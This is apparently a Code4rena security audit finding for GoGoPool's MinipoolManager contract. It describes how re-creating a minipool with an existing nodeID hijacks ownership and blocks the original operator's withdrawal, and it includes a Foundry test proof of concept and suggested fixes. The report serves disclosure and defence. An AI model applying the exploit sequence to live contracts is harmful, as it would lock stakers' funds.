GoGoPool contest - Lirios's results

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L163 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L241-L246 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L279

Vulnerability details

Impact

Node operators can lose their staked AVAX after stakingEnd or stakingError. Funds will be locked in the Staking contract, but impossible to withdraw.

A bad actor does need to supply 1000 AVAX (which he gets back) and has not have real incentive to do it, but the protocol should protect all assets of it's stakers, so this should now be allowed/possible. Another scenario is that a node operator wants to reCreate a node after it has ended and calls the createMinipool from one of his other addresses and by mistake locking himself out of his funds.

Proof of Concept

When a node operator creates a node, he needs to supply AVAX to the protocol (default 1000 AVAX) and have some GGP staked. When an error occurs or the duration has passed, the rialo will call either MinipoolManager.recordStakingError or MinipoolManager.recordStakingEnd After that the node operator can call MinipoolManager.withdrawMinipoolFunds to get his staked AVAX back.

Issue is that before withdrawMinipoolFunds is called, anyone can create a new minipool with same the existing nodeID, and change the owner of the node. This will revert any calls to withdrawMinipoolFunds by the original owner, so they are losing their staked avax.

To do this, the new caller of createMinipool still needs to supply the 1000 AVAX and 100 GGP. After CancelMoratoriumSeconds, the new owner can call cancelMinipool to get those funds back.

additionally: If the caller is an existing node operator, the createMinipool and cancelMinipool can be done in a single transaction. This is because getRewardsStartTime is recorded per user and not per node.

Below a diff of the test to demonstrate that nodeOp is unable to withdraw their funds and receive an OnlyOwner error when trying

    diff --git a/test/unit/MinipoolManager.t.sol b/test/unit/MinipoolManager.t.sol
    index ed2a6e8..26d2ad9 100644
    --- a/test/unit/MinipoolManager.t.sol
    +++ b/test/unit/MinipoolManager.t.sol
    @@ -210,6 +210,56 @@ contract MinipoolManagerTest is BaseTest {
                    assertEq((nodeOp.balance - priorBalanceNodeOp), (1000 ether + halfRewards + commissionFee));
            }

    +       function testBlockWithdrawMinipoolFunds() public {
    +               address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
    +               address nodeOp2 = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT);
    +
    +               vm.prank(liqStaker1);
    +               ggAVAX.depositAVAX{value: MAX_AMT}();
    +
    +               uint256 duration = 2 weeks;
    +               uint256 depositAmt = 1000 ether;
    +               uint256 avaxAssignmentRequest = 1000 ether;
    +               uint256 validationAmt = depositAmt + avaxAssignmentRequest;
    +               uint128 ggpStakeAmt = 200 ether;
    +
    +               vm.startPrank(nodeOp);
    +               ggp.approve(address(staking), MAX_AMT);
    +               staking.stakeGGP(ggpStakeAmt);
    +               MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
    +               vm.stopPrank();
    +
    +               vm.startPrank(address(rialto));
    +               minipoolMgr.claimAndInitiateStaking(mp1.nodeID);
    +               bytes32 txID = keccak256("txid");
    +               minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp);
    +
    +               skip(duration);
    +
    +               uint256 rewards = 10 ether;
    +               deal(address(rialto), address(rialto).balance + rewards);
    +               minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp1.nodeID, block.timestamp, rewards);
    +               vm.stopPrank();
    +
    +               vm.startPrank(nodeOp2);
    +               ggp.approve(address(staking), MAX_AMT);
    +               staking.stakeGGP(100 ether);
    +               minipoolMgr.createMinipool{value: 1000 ether}(mp1.nodeID, 0, 0, 1000 ether);
    +               vm.stopPrank();
    +               skip(5 seconds); //cancellation moratorium
    +
    +               vm.startPrank(nodeOp2);
    +               minipoolMgr.cancelMinipool(mp1.nodeID);
    +               staking.withdrawGGP(100 ether);
    +               vm.stopPrank();
    +               vm.startPrank(nodeOp);
    +
    +               // withdrawMinipoolFunds now Reverts
    +               vm.expectRevert(MinipoolManager.OnlyOwner.selector);
    +               minipoolMgr.withdrawMinipoolFunds(mp1.nodeID);      
    +       }
    +
    +
            function testCanClaimAndInitiateStaking() public {
                    uint256 duration = 2 weeks;
                    uint256 depositAmt = 1000 ether;

Recommended Mitigation Steps

There are several ways to prevent this. Only allowing an original owner to call createMinipool for an existing nodeId could prevent the bad actor. The owner can then still block himself. Changing requireValidStateTransition would give problems for recreateMinipool which should be allowed to be called when state is error or withdrawable. Best would be to change pool.avaxNodeOpAmt in withdrawMinipoolFunds and check that pool.avaxNodeOpAmt is 0 when creating a new Node with existing NodeID